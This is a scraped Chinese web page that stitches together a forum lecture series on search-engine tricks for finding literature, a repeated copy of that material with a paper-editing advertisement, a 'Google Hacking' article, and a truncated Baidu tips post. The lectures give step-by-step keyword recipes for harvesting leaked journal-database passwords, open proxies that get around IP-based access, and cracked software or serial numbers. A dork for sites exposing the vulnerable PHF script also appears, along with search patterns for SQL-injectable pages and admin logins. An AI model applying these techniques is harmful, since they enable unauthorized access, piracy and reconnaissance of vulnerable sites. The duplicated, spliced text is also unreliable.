"cache"用來(lái)搜索GOOGLE服務(wù)器上某頁(yè)面的緩存,通常用于查找某些已經(jīng)被刪除的死鏈接網(wǎng)頁(yè),相當于使用普通搜索結果頁(yè)面中的"網(wǎng)頁(yè)快照"功能。
示例:查找GOOGLE緩存的中文yahoo首頁(yè)
搜索:"cache:"
info用來(lái)顯示與某鏈接相關(guān)的一系列搜索,提供cache、link、related和完全包含該鏈接的網(wǎng)頁(yè)的功能。
示例:查找和新浪首頁(yè)相關(guān)的一些資訊。
搜索:"info:"
結果:有的網(wǎng)頁(yè)信息。
示例:查找美國教育網(wǎng)上的宇宙大爆炸jpg圖片
搜索:"BIG BANG filetype:jpg site:edu"
結果:搜索有關(guān) BIG BANG filetype:jpg site:edu 的圖片
第九講,專(zhuān)講一個(gè)特殊語(yǔ)法,很有用:inurl。
"inurl"語(yǔ)法返回的網(wǎng)頁(yè)鏈接中包含第一個(gè)關(guān)鍵字,后面的關(guān)鍵字則出現在鏈接中或者網(wǎng)頁(yè)文檔中。有很多網(wǎng)站把某一類(lèi)具有相同屬性的資源名稱(chēng)顯示在目錄名稱(chēng)或者網(wǎng)頁(yè)名稱(chēng)中,比如"MP3"、"GALLARY"等,于是,就可以用INURL語(yǔ)法找到這些相關(guān)資源鏈接,然后
,用第二個(gè)關(guān)鍵詞確定是否有某項具體資料。INURL語(yǔ)法和基本搜索語(yǔ)法的最大區別在于,前者通常能提供非常精確的專(zhuān)題資料。
示例:查找MIDI曲"滄海一聲笑"。
搜索:"inurl:midi 滄海一聲笑"
結果:已搜索有關(guān)inurl:midi 滄海一聲笑的中文(簡(jiǎn)體)網(wǎng)頁(yè)。
示例:查找微軟網(wǎng)站上關(guān)于windows2000的安全課題資料。
搜索:"inurl:security windows2000 site:"
結果:已在內搜索有關(guān)inurlecurity windows2000 的網(wǎng)頁(yè)。
注意:"inurl:"后面不能有空格,GOOGLE也不對URL符號如"/"進(jìn)行搜索。例如,GOOGLE會(huì )把"cgi-bin/phf"中的"/"當成空格處理。
而一般眾多密碼或數據庫往往出現在鏈接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"語(yǔ)法返回的網(wǎng)頁(yè)的鏈接中包含所有作用關(guān)鍵字。這個(gè)查詢(xún)的關(guān)鍵字只集中于網(wǎng)頁(yè)的鏈接字符串。
示例:查找可能具有PHF安全漏洞的公司網(wǎng)站。通常這些網(wǎng)站的CGI-BIN目錄中含有PHF腳本程序(這個(gè)腳本是不安全的),表現在鏈接中就是"域名/cgi-bin/phf"。
語(yǔ)法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特網(wǎng)搜索allinurl:"cgi-bin" phf +com. 共約有37項查詢(xún)結果,這是第1-10項 。搜索用時(shí)0.36秒
補充講site語(yǔ)法
site即將搜索定位于某一個(gè)域名上,有利于縮小搜索范圍,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大學(xué)內有用的資源,至于關(guān)鍵詞的選擇,其它講都有了。
site:tw, site:edu.tw, site: .......
這是定位于國家或地區,將搜索局限于某些國家或地區,或加上edu,則是這些國家或地區的大學(xué),效果自然更好。如果site:則搜索國內醫科大學(xué)內的資源(會(huì )漏綜合性大學(xué)的資源的,要慎用)。
一般的,歐美人的版權意識強,一般密碼不易公布,相反,非洲、美洲、亞洲則往往公開(kāi)密碼,這是獲得密碼的最重要來(lái)源之一,善于利用這些地方的資源有助于提高搜索效率。這是site兩大好處,不可忽視!
也許您正為文章煩惱,一篇論文完成耗時(shí)數月,而在發(fā)表時(shí)卻是坎坷萬(wàn)千。
我們提供以下指導和服務(wù):
評估服務(wù)、翻譯、潤色服務(wù)、文章綜合編輯服務(wù)、SCI論文降重、文章校對等SCI論文服務(wù)。
識別二維碼即可咨詢(xún)
尚輯Sagesci ● SCI論文服務(wù)品牌
查看全部
你想要的文獻搜索方法都在這里
2、很時(shí)候我們可以下載下來(lái),但以上面說(shuō)的那種方法進(jìn)行回推時(shí),常常會(huì )出現"Forbidden"的頁(yè)面,這是很多網(wǎng)站都存在的bug。
要解決個(gè)問(wèn)題就需要利用這個(gè)bug和靠你對所查找的內容比較熟悉。就舉一個(gè)簡(jiǎn)單的例子:google里檢索"molecular biology of the gene"時(shí)
... 0211/Chapter209.ppt這時(shí)我只是對最后面的"209"進(jìn)行簡(jiǎn)單的更改為"201-220"就可以得到這本書(shū)完整的ppt文件。還有的最后面是出現字母,可對相應的字母進(jìn)行修改即可,最難的是要對文件名進(jìn)行修改,這就需要比較扎實(shí)的專(zhuān)業(yè)基礎。
3、不要瞧不起中文藝工作者網(wǎng)站。以英文作為關(guān)鍵詞進(jìn)行搜索時(shí)英文網(wǎng)站總是出現在最前面,而等看到中文網(wǎng)站時(shí)都已經(jīng)失去了耐心,我們有時(shí)候可搜索中文網(wǎng)站,往往會(huì )得到很多意想不到的東西。特別是我們隔岸相往的同胞做的ppt也是相當的漂亮!
4、放寬檢索范圍。
5、我們最后要解決的是下載問(wèn)題。很網(wǎng)站提供很多下載鏈接,下載速度一般只有3、5kb, 最糟的只有幾百字節。而一般的網(wǎng)頁(yè)只能同時(shí)對兩個(gè)文件進(jìn)行下載。解決的方法是重新打開(kāi)IE然后在新的窗口打開(kāi)鏈接,有一次我同時(shí)打開(kāi)十幾個(gè)窗口進(jìn)行下載,很快就把所有的內容下載下來(lái)。這種下載方法要慎用,這很容易造成對網(wǎng)站的惡意下載。
6、很多網(wǎng)站提供ppt下載的時(shí)候也同時(shí)提供動(dòng)畫(huà)在線(xiàn)觀(guān),看著(zhù)這么多的漂亮東東卻無(wú)法下載。不是很可惜嗎?有關(guān)這方面的內容wfj2000在其它帖子已提到過(guò)我就不說(shuō)了。
懇請各位高手對我提出寶貴意見(jiàn)。
四、Bioon全心奉獻的系列檢索講座
注意:本講座中的方法適用于生物與醫學(xué)的免費全文的文獻檢索,以及網(wǎng)上各種有用的資料的搜索(幻燈片,各種講座資料,電子書(shū)等),通過(guò)使用這些技巧并與著(zhù)名搜索引擎google(,中文的多使用百度配合使用,以下所有內容都是基于這兩個(gè)搜索引擎講解的,更多的講座見(jiàn)論壇中檢索技巧版( )
第一講:關(guān)鍵詞的選擇技巧.
推薦先讀讀google從入門(mén)到精通等論文(請注冊后再登錄)
( ... ;ID=2997&skin=1)
我們了解常規搜索方式,但每個(gè)人都會(huì )搜索出不同結果,為什么?核心問(wèn)題在于關(guān)鍵詞選擇不同。
關(guān)鍵的分析必須保證兩點(diǎn):
一是專(zhuān)業(yè)性,即這個(gè)詞是很精的,可能簡(jiǎn)化你的搜索結果,因而詞甚至可以怪一點(diǎn),盡量避免大眾化的詞,如net,site等。即使需要大眾化詞,如password,username,但若加入一兩個(gè)特征詞,則結果將大大簡(jiǎn)化。
二是具有代表性,也即這個(gè)詞具有代表意義,也即它在包含你所需網(wǎng)頁(yè)內,它在出現的可能,以免一些有用信息被遺漏。
如何達到上述兩個(gè)要求?我們必須分析網(wǎng)頁(yè)中字詞出現的特點(diǎn),以及本學(xué)科專(zhuān)業(yè)詞匯特征。
大家看看yahoo,google等medicine和science--biology條目下的分類(lèi),發(fā)現許多相關(guān)的詞均在內,如
醫學(xué)有關(guān)的都在Science & Technology 大條目下,又細分為:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果僅以medicine檢索,就會(huì )漏掉不少很有價(jià)值的信息,特別是漏掉的專(zhuān)業(yè)的。
其次,在medicine下又有很多數據庫,如:EBSCO OVID,PROQUEST還有各大出版社自己的萬(wàn)能密碼。
大家應該明白一些了吧。
第二講:主要講定點(diǎn)搜索和遍搜索的區別及應用。
所謂定點(diǎn)搜索,即指定找某個(gè)數據庫相關(guān)信息,或某篇論文。
遍搜索是指在網(wǎng)上任意逛逛,找些pswd,或者無(wú)心插柳柳成蔭。
(1)定點(diǎn)數據庫和期刊搜索。還是同第一講一樣,主要分析關(guān)鍵詞的選擇。當然關(guān)鍵詞之一是這個(gè)數據庫的名稱(chēng)。大家注意了:數據庫名稱(chēng)一定要用全稱(chēng)和簡(jiǎn)稱(chēng)都試試。
關(guān)鍵詞之二是free,ID,password,user name。
為什么這個(gè)關(guān)鍵詞?其實(shí)這些只能稱(chēng)作是一個(gè)關(guān)鍵詞,因為它們具有同性或不相容性。如elservier數據庫,你最好不要用username和password,因為它主要是采用IP限制的。因而你的重點(diǎn)放在pxory!而不是上述的任何一個(gè)。而找某一雜志,則多用user name 和ID/pas
sword合用(注:ID/password只可用一個(gè)!),因為雜志往往個(gè)人購買(mǎi),便擁有帳號了。
關(guān)鍵詞三:這些數據庫可能出現的地方?大學(xué)圖書(shū)館最多!即使是雜志,圖書(shū)館也較個(gè)人帳號多。那么圖書(shū)館主頁(yè)上有哪些關(guān)鍵詞?library,database,trial,free....,可看看國內一些圖書(shū)館的主頁(yè),仔細分析比較,便能找到一些共性的東西。
(2)定點(diǎn)論文搜索。
論文,在國外通用PDF格式,因而論文搜索必須用PDF這個(gè)核心內容。即找后綴為PDF的東東,語(yǔ)法:filetype DF 這是關(guān)鍵之一
關(guān)鍵詞之二:找你所需論文的題或文摘中最怪的詞!而不是常用詞。(不要用很專(zhuān)業(yè)的詞往往能找到相近的論文,所謂無(wú)心插柳了)
命中率高,但最好是題目中出現的詞,為什么?因為往往許多個(gè)人站點(diǎn)收錄了不少論文,而這些論文往往是以題目名稱(chēng)作為索引的。
第三講 實(shí)戰演習-----專(zhuān)業(yè)文獻搜索技巧。
專(zhuān)業(yè)文獻與普通文獻不同,很難查到。這是本人長(cháng)期搜索的技巧,十分有效,查專(zhuān)業(yè)文獻實(shí)在好!
1. 查找某本專(zhuān)業(yè)刊物的登錄密碼,如Brain Res
首先選關(guān)鍵詞:雜志名(Brain Res),登錄(sign in),密碼(password)
這樣成功率并不高,其實(shí)細細看來(lái),不應有登錄,因為許多提供密碼的地方,并不出現登錄這個(gè)詞,而多出現用戶(hù)名(user name),而且雜志名多用全稱(chēng)(brain research),再試試
!哦,成功了!
2. 查找某篇論文的全文,尤其是外文文獻,許多全文服務(wù)均需收費。
當然可先按第一種方法搜索一下,看看有無(wú)密碼可尋,若無(wú),則找到該篇論文的特殊字段(key words),然后搜索PDF文件。不過(guò)這有幾個(gè)條件,一是該雜志確已上網(wǎng),有明確地址 ,其二,一般需在1997年以后文獻才可。
舉例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
這篇論文是收費的。采用:inurldf:Gattullo Pagliaro coronary,結果24項,找到其中的第2頁(yè),有下面一項Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 網(wǎng)頁(yè)快照 - 類(lèi)似網(wǎng)頁(yè)
打開(kāi)網(wǎng)頁(yè)快照,第一篇即是其目錄,下載即可!OK!成功
3. 查找專(zhuān)業(yè)軟件的破解軟件或注冊碼
常規軟件的注冊碼很好找,但專(zhuān)業(yè)軟件太少,而且注冊碼也少,破解更少,如何找?
如找origin 6.1版的破解版,或注冊碼。不管采用網(wǎng)易、搜狐等軟件搜索,均找不到該軟件。那么只好借用特殊搜索了。
分析:一般有些破解軟件的頁(yè)面一般至少有以下一些信息:軟件名稱(chēng),版本,序列號(serial number, OR sn),破解(crack, OR CRK),提供下載的地方有.ZIP字樣(壓縮文件為多
)。為了方便起見(jiàn),也防止版本太精確反而不易搜索的特點(diǎn),在googlek 輸入origin 破解, 哦!OK!成功!如果其它的軟件一次搜索的結果太多的話(huà),則考慮加6.1以減小其搜索范圍?;蛩阉鹘Y果太少且不是需要的話(huà),將破解換為"注冊碼"試試,一般效果不錯。
4. 查找中文文獻的免費全文如我知道重慶維普提供免費全文服務(wù),但目前許多站點(diǎn)都不能用了。另外,還有萬(wàn)方數據庫、CNKI也提供,那么我如何查到這些數據庫的免費入口呢?
這需要一定的技巧,采用google或百度試試:輸入:重慶維普 密碼哦!66項!仔細找一找,必有結果!OK!
第四講 百度與google比較 。
大家好,這一講講百度與google比較
搜索英文不必說(shuō)用google,搜索中文呢?
很多人并不了解它們更新的情況,google發(fā)展早,因而它貯存了大量舊的信息,百度發(fā)展遲,信息較新。
更新速度:對中文google一般半月至一月一更新,而且僅搜索到三級鏈接,三級以下便不在搜索,那么我如何看到最新的google搜索的結果呢?這個(gè)站點(diǎn):,可見(jiàn)google采用不同服務(wù)器逐步更新的。百度的更新較快,半月一次,最快一周。那么如何衡梁這半月與一月的差劇與價(jià)值?
對于一些試用數據庫,有效期短,或象萬(wàn)方等一月一換密碼,最好選用百度,現在維普老是打一槍換一個(gè)地方,因而也只好用百度了,google往往搜索出來(lái)的結果已過(guò)期了。而能長(cháng)期使用的密碼或數據庫,一般象國外的(國內有沒(méi)有,我真不知道),最好用google,
畢竟技術(shù)更老道一些,搜索出的結果更多,更廣!
第五講 補充講一點(diǎn)關(guān)鍵詞的選擇。
關(guān)于關(guān)鍵詞,最近看到高手huangwei98 公布的一些關(guān)鍵詞,很值得參考。但總之一句話(huà),
高手=技巧+時(shí)間,有時(shí)多看看,往往獲得其它的密碼,這是太正常的事了。
關(guān)鍵詞組合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母樣!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是數據庫+password+補充性關(guān)鍵詞(或稱(chēng)定向性關(guān)鍵詞)
所謂定向性關(guān)鍵詞是將你的檢索范圍定于某一可能的區域,如圖書(shū)館、個(gè)人站點(diǎn),以縮小檢索范圍。如單個(gè)雜志,可定位于個(gè)人,若是數據庫檢索,則宜加library,因為個(gè)人是不會(huì )買(mǎi)數據庫的。同時(shí)另一個(gè)定向是生物和醫學(xué),所用的關(guān)鍵詞medicine,biology,biomed.
當然仍可加第三定向關(guān)鍵詞,如雜志(journal)、免費(free)、在線(xiàn)(online),但一定要注意第三關(guān)鍵詞的特征性不強,要選擇使用,不可過(guò)用,否則會(huì )將一大批可能有用的站點(diǎn)排除掉,切記!
但這主要針對國外的,而國內的一般多在各大學(xué)圖書(shū)館內,常用密碼、免費、雜志、數據庫名等搜索,效果較好。
但對于有些雜志,如sciencedirect,Ideallibrary多采用IP驗證方式,一般密碼并不能用,這時(shí)多采用代理服務(wù)器方式,因而如何找到有效的代理太重要的。如清華的elsevier便是代理。下下一講講如何找代理。
第六講 關(guān)鍵詞聯(lián)合使用。
國內圖書(shū)館提到數據庫往往只提***數據庫,而國外圖書(shū)館多列出該數據庫內各種雜志名,而且多按字母分類(lèi)。因而為了提高檢索的準確率,一般將同一數據庫內的雜志的首字母相同的雜志名用兩到三個(gè)聯(lián)合搜索,再結合前面講的加用其它關(guān)鍵詞,能有效縮小檢索范圍
,翕中率極高。從這里可以看到,如果透徹分析一些圖書(shū)館內主頁(yè)設計的特征,是搜索的關(guān)鍵。
如檢索brain research,可列出brain research bulltin,同時(shí)檢索,效果要好些。
第七講 搜索公開(kāi)的代理服務(wù)器技巧。
中文:
代理 維普(或其它數據庫名) 數據庫,能找到一些,但國內一般真正使用代理的較少。
英文:
proxy 數據庫名 IE netscape
效果非常好,但一定要注意,許多地方不僅用代理服務(wù)器,而且需密碼認證,不可過(guò)于樂(lè )觀(guān)!應認真鑒別。
第八講。先插幾句廢話(huà),本論壇的目的是培養真正懂得搜索技巧的人員,當然搜索技巧不只是密碼之類(lèi),還應包括檢索常用文件,pubmed等,這也是水平和本領(lǐng),切不可以找密碼為樂(lè )。我們應該培養全方位的文獻檢索能力,否則即使有密碼,也未必找到自己所需的信息,網(wǎng)海茫茫,有用者若斯!
現在進(jìn)入正題,今天講百度和google語(yǔ)法,其實(shí)這在從google入門(mén)到精通中都有所闡述這是重提,以示重視,并無(wú)太多的新意,只是將大理論與實(shí)際相結合起來(lái)。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT這些文件名都是網(wǎng)友想找的重點(diǎn),至于各是什么類(lèi)型文件,請上網(wǎng)查一下便知道了,這里不多說(shuō)了。尤其老板讓你做個(gè)powerpoint,找不到圖怎么辦?用google去搜索。
方法是利用語(yǔ)法filetype:后綴名。
如找PDF文件,在正常關(guān)鍵詞后面加filetype DF即可,搜索結果全是PDF文件。這是我寫(xiě)的另一篇,可參考:
... p;ID=839&page=1
找特定題目的網(wǎng)頁(yè)語(yǔ)法intitle:網(wǎng)站
查找友情鏈接:
"link:"(英文單字link后加冒號)用于搜索鏈接到某個(gè)URL地址的網(wǎng)頁(yè)??梢粤私庥心男┚W(wǎng)頁(yè)把鏈接指向您的網(wǎng)頁(yè)查找特定站點(diǎn):
site:*.com
如 金庸 古龍 site:
但不可加入或/這類(lèi),否則是錯的。
"cache"用來(lái)搜索GOOGLE服務(wù)器上某頁(yè)面的緩存,通常用于查找某些已經(jīng)被刪除的死鏈接網(wǎng)頁(yè),相當于使用普通搜索結果頁(yè)面中的"網(wǎng)頁(yè)快照"功能。
示例:查找GOOGLE緩存的中文yahoo首頁(yè)
搜索:"cache:"
info用來(lái)顯示與某鏈接相關(guān)的一系列搜索,提供cache、link、related和完全包含該鏈接的網(wǎng)頁(yè)的功能。
示例:查找和新浪首頁(yè)相關(guān)的一些資訊。
搜索:"info:"
結果:有的網(wǎng)頁(yè)信息。
示例:查找美國教育網(wǎng)上的宇宙大爆炸jpg圖片
搜索:"BIG BANG filetype:jpg site:edu"
結果:搜索有關(guān) BIG BANG filetype:jpg site:edu 的圖片
第九講,專(zhuān)講一個(gè)特殊語(yǔ)法,很有用:inurl。
"inurl"語(yǔ)法返回的網(wǎng)頁(yè)鏈接中包含第一個(gè)關(guān)鍵字,后面的關(guān)鍵字則出現在鏈接中或者網(wǎng)頁(yè)文檔中。有很多網(wǎng)站把某一類(lèi)具有相同屬性的資源名稱(chēng)顯示在目錄名稱(chēng)或者網(wǎng)頁(yè)名稱(chēng)中,比如"MP3"、"GALLARY"等,于是,就可以用INURL語(yǔ)法找到這些相關(guān)資源鏈接,然后
,用第二個(gè)關(guān)鍵詞確定是否有某項具體資料。INURL語(yǔ)法和基本搜索語(yǔ)法的最大區別在于,前者通常能提供非常精確的專(zhuān)題資料。
示例:查找MIDI曲"滄海一聲笑"。
搜索:"inurl:midi 滄海一聲笑"
結果:已搜索有關(guān)inurl:midi 滄海一聲笑的中文(簡(jiǎn)體)網(wǎng)頁(yè)。
示例:查找微軟網(wǎng)站上關(guān)于windows2000的安全課題資料。
搜索:"inurl:security windows2000 site:"
結果:已在內搜索有關(guān)inurlecurity windows2000 的網(wǎng)頁(yè)。
注意:"inurl:"后面不能有空格,GOOGLE也不對URL符號如"/"進(jìn)行搜索。例如,GOOGLE會(huì )把"cgi-bin/phf"中的"/"當成空格處理。
而一般眾多密碼或數據庫往往出現在鏈接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"語(yǔ)法返回的網(wǎng)頁(yè)的鏈接中包含所有作用關(guān)鍵字。這個(gè)查詢(xún)的關(guān)鍵字只集中于網(wǎng)頁(yè)的鏈接字符串。
示例:查找可能具有PHF安全漏洞的公司網(wǎng)站。通常這些網(wǎng)站的CGI-BIN目錄中含有PHF腳本程序(這個(gè)腳本是不安全的),表現在鏈接中就是"域名/cgi-bin/phf"。
語(yǔ)法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特網(wǎng)搜索allinurl:"cgi-bin" phf +com. 共約有37項查詢(xún)結果,這是第1-10項 。搜索用時(shí)0.36秒
補充講site語(yǔ)法
site即將搜索定位于某一個(gè)域名上,有利于縮小搜索范圍,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大學(xué)內有用的資源,至于關(guān)鍵詞的選擇,其它講都有了。
site:tw, site:edu.tw, site: .......
這是定位于國家或地區,將搜索局限于某些國家或地區,或加上edu,則是這些國家或地區的大學(xué),效果自然更好。如果site:則搜索國內醫科大學(xué)內的資源(會(huì )漏綜合性大學(xué)的資源的,要慎用)。
一般的,歐美人的版權意識強,一般密碼不易公布,相反,非洲、美洲、亞洲則往往公開(kāi)密碼,這是獲得密碼的最重要來(lái)源之一,善于利用這些地方的資源有助于提高搜索效率。這是site兩大好處,不可忽視!
也許您正為文章煩惱,一篇論文完成耗時(shí)數月,而在發(fā)表時(shí)卻是坎坷萬(wàn)千。
我們提供以下指導和服務(wù):
評估服務(wù)、翻譯、潤色服務(wù)、文章綜合編輯服務(wù)、SCI論文降重、文章校對等SCI論文服務(wù)。
識別二維碼即可咨詢(xún)
尚輯Sagesci ● SCI論文服務(wù)品牌
好可怕的搜索引擎!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 68 次瀏覽 ? 2022-05-14 08:11
來(lái)源 |小白學(xué)黑客
作者 |小白哥
信息搜集和社會(huì )工程學(xué)是網(wǎng)絡(luò )安全的非常重要組成部分。
今天這篇文章就來(lái)介紹下信息搜集方面經(jīng)常用到的技術(shù):Google Hacking,就算暫時(shí)沒(méi)有太多專(zhuān)業(yè)的網(wǎng)絡(luò )安全知識,但是如果能熟練運用搜索引擎,也能變身一個(gè)小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現在已經(jīng)引申為利用一切搜索引擎進(jìn)行網(wǎng)絡(luò )入侵的技術(shù)和行為。
搜索引擎大家都用過(guò),在搜索框中輸入關(guān)鍵詞,一鍵回車(chē),結果就展示在我們面前。但實(shí)際上,這個(gè)搜索框內藏玄機,除了關(guān)鍵詞,還有別的用法。
搜索引擎對于搜索的內容提供了多種語(yǔ)法,通過(guò)構造特定的搜索語(yǔ)句,能夠快速全面地讓攻擊者挖掘到有價(jià)值的信息。
本文列舉一些常用的例子,如果沒(méi)有特別說(shuō)明,本文列出的搜索語(yǔ)法在 Google 和百度中都能適用,本文內容以 Google 為例展示。
site
語(yǔ)法:site
作用:限定在特定的網(wǎng)址中搜索
有時(shí)候全網(wǎng)搜索有點(diǎn)像大海撈針,而如果我們有特別關(guān)心的網(wǎng)站,想只顯示這個(gè)網(wǎng)站的搜索結果,就可以用到 site 語(yǔ)法,比如我在微軟的官網(wǎng)內搜索漏洞編號 CVE-2014-4114:
可以看到,顯示的結果都是在指定網(wǎng)站中的,大大減少了我們在海量信息中的篩選成本。
實(shí)際上,不少網(wǎng)站為了省事,這些網(wǎng)站的站內搜索功能就是利用搜索引擎的 site 語(yǔ)法來(lái)實(shí)現的。
filetype
語(yǔ)法:filetype
作用:搜索特定的文件類(lèi)型
有時(shí)候我們想找特定類(lèi)型的文檔,比如 PPT、PDF 等,但默認情況下出來(lái)的都是網(wǎng)頁(yè),很難找到我們想要的內容,這個(gè)時(shí)候就可以用上 filetype 語(yǔ)法。比如我想搜索 web 安全相關(guān)的 PDF 電子書(shū):
這下出來(lái)的,都是我們想要的了,用這一招搜索技術(shù)文檔、電子書(shū)等等屢試不爽哦。
inurl
語(yǔ)法:inurl
作用:在 URL 中搜索出現指定內容的鏈接
這一個(gè)語(yǔ)法有什么用?普通人很少直接關(guān)心鏈接本身的內容,但是對于咱們 hacker 來(lái)說(shuō),URL 就重要了,比如我們可以用來(lái)搜索可能存在 SQL 注入的鏈接:
除了 SQL 注入,還可以搜索可能存在的網(wǎng)站后臺管理入口:
如果我們再加上前面的 site 語(yǔ)法組合使用,就可以找出指定網(wǎng)站的這種鏈接了,定向尋找攻擊點(diǎn)。
intitle
語(yǔ)法:intitle
作用:在網(wǎng)頁(yè) title 中搜索出現指定內容的網(wǎng)頁(yè)
除了在 URL 中搜索,咱們還能在標題中搜索。一般網(wǎng)站后臺管理頁(yè)面都會(huì )帶有“后臺”、“管理”、“登錄”等字眼,我們可以通過(guò)在 HTML 的 title 字段位置搜索這些關(guān)鍵詞,尋找可疑的后臺登錄頁(yè)面。
intext
語(yǔ)法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我們搜索使用 discuz 搭建的論壇網(wǎng)站:
Google Hacking DataBase
看了這么多,不知道你學(xué)廢了嗎?
如果沒(méi)有也沒(méi)有關(guān)系,這里有個(gè)神器:Google Hacking 數據庫,匯集了非常多的有價(jià)值的搜索語(yǔ)句,你可以用這些來(lái)搜搜看,看看能不能發(fā)現些什么信息。
學(xué)會(huì )使用搜索引擎,是每一個(gè) hacker 必備的技能之一,看完這篇趕緊操練起來(lái),動(dòng)動(dòng)手試一試。不過(guò)以學(xué)習為主,切莫拿去做違法事情哦,現在的網(wǎng)絡(luò )安全法那可不是鬧著(zhù)玩的! 查看全部
好可怕的搜索引擎!
來(lái)源 |小白學(xué)黑客
作者 |小白哥
信息搜集和社會(huì )工程學(xué)是網(wǎng)絡(luò )安全的非常重要組成部分。
今天這篇文章就來(lái)介紹下信息搜集方面經(jīng)常用到的技術(shù):Google Hacking,就算暫時(shí)沒(méi)有太多專(zhuān)業(yè)的網(wǎng)絡(luò )安全知識,但是如果能熟練運用搜索引擎,也能變身一個(gè)小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現在已經(jīng)引申為利用一切搜索引擎進(jìn)行網(wǎng)絡(luò )入侵的技術(shù)和行為。
搜索引擎大家都用過(guò),在搜索框中輸入關(guān)鍵詞,一鍵回車(chē),結果就展示在我們面前。但實(shí)際上,這個(gè)搜索框內藏玄機,除了關(guān)鍵詞,還有別的用法。
搜索引擎對于搜索的內容提供了多種語(yǔ)法,通過(guò)構造特定的搜索語(yǔ)句,能夠快速全面地讓攻擊者挖掘到有價(jià)值的信息。
本文列舉一些常用的例子,如果沒(méi)有特別說(shuō)明,本文列出的搜索語(yǔ)法在 Google 和百度中都能適用,本文內容以 Google 為例展示。
site
語(yǔ)法:site
作用:限定在特定的網(wǎng)址中搜索
有時(shí)候全網(wǎng)搜索有點(diǎn)像大海撈針,而如果我們有特別關(guān)心的網(wǎng)站,想只顯示這個(gè)網(wǎng)站的搜索結果,就可以用到 site 語(yǔ)法,比如我在微軟的官網(wǎng)內搜索漏洞編號 CVE-2014-4114:
可以看到,顯示的結果都是在指定網(wǎng)站中的,大大減少了我們在海量信息中的篩選成本。
實(shí)際上,不少網(wǎng)站為了省事,這些網(wǎng)站的站內搜索功能就是利用搜索引擎的 site 語(yǔ)法來(lái)實(shí)現的。
filetype
語(yǔ)法:filetype
作用:搜索特定的文件類(lèi)型
有時(shí)候我們想找特定類(lèi)型的文檔,比如 PPT、PDF 等,但默認情況下出來(lái)的都是網(wǎng)頁(yè),很難找到我們想要的內容,這個(gè)時(shí)候就可以用上 filetype 語(yǔ)法。比如我想搜索 web 安全相關(guān)的 PDF 電子書(shū):
這下出來(lái)的,都是我們想要的了,用這一招搜索技術(shù)文檔、電子書(shū)等等屢試不爽哦。
inurl
語(yǔ)法:inurl
作用:在 URL 中搜索出現指定內容的鏈接
這一個(gè)語(yǔ)法有什么用?普通人很少直接關(guān)心鏈接本身的內容,但是對于咱們 hacker 來(lái)說(shuō),URL 就重要了,比如我們可以用來(lái)搜索可能存在 SQL 注入的鏈接:
除了 SQL 注入,還可以搜索可能存在的網(wǎng)站后臺管理入口:
如果我們再加上前面的 site 語(yǔ)法組合使用,就可以找出指定網(wǎng)站的這種鏈接了,定向尋找攻擊點(diǎn)。
intitle
語(yǔ)法:intitle
作用:在網(wǎng)頁(yè) title 中搜索出現指定內容的網(wǎng)頁(yè)
除了在 URL 中搜索,咱們還能在標題中搜索。一般網(wǎng)站后臺管理頁(yè)面都會(huì )帶有“后臺”、“管理”、“登錄”等字眼,我們可以通過(guò)在 HTML 的 title 字段位置搜索這些關(guān)鍵詞,尋找可疑的后臺登錄頁(yè)面。
intext
語(yǔ)法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我們搜索使用 discuz 搭建的論壇網(wǎng)站:
Google Hacking DataBase
看了這么多,不知道你學(xué)廢了嗎?
如果沒(méi)有也沒(méi)有關(guān)系,這里有個(gè)神器:Google Hacking 數據庫,匯集了非常多的有價(jià)值的搜索語(yǔ)句,你可以用這些來(lái)搜搜看,看看能不能發(fā)現些什么信息。
學(xué)會(huì )使用搜索引擎,是每一個(gè) hacker 必備的技能之一,看完這篇趕緊操練起來(lái),動(dòng)動(dòng)手試一試。不過(guò)以學(xué)習為主,切莫拿去做違法事情哦,現在的網(wǎng)絡(luò )安全法那可不是鬧著(zhù)玩的!
這幾個(gè)百度搜索技巧,小電影都搜的到!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 248 次瀏覽 ? 2022-05-14 07:59
先說(shuō)百度網(wǎng)盤(pán)網(wǎng)盤(pán)是個(gè)好東西,現在除了被干掉的快播,就某某網(wǎng)盤(pán)最火了,當然,最火的這個(gè)不是百度網(wǎng)盤(pán)。
我們看圖說(shuō)話(huà):
再來(lái)個(gè)正兒八經(jīng)的(你也可以搜必的小電影)
完美??!
在看看python書(shū)籍
pdf也是個(gè)好東西
下面介紹幾種百度搜索技巧
1、 關(guān)鍵詞加引號
比如我要搜索:python教程app,在搜索的時(shí)候很有可能會(huì )把”pthon“和“教程app”拆分開(kāi),然后分別進(jìn)行搜索,這時(shí)候我們可以把關(guān)鍵詞放入引號內,就代表完全匹配搜索,也就是所顯示的搜索結果一定包含完整的關(guān)鍵詞,不會(huì )出現近義詞和拆分的情況。
這不就是老曾寫(xiě)的App嗎?
2、site:用于搜索指定網(wǎng)站下的關(guān)鍵信息
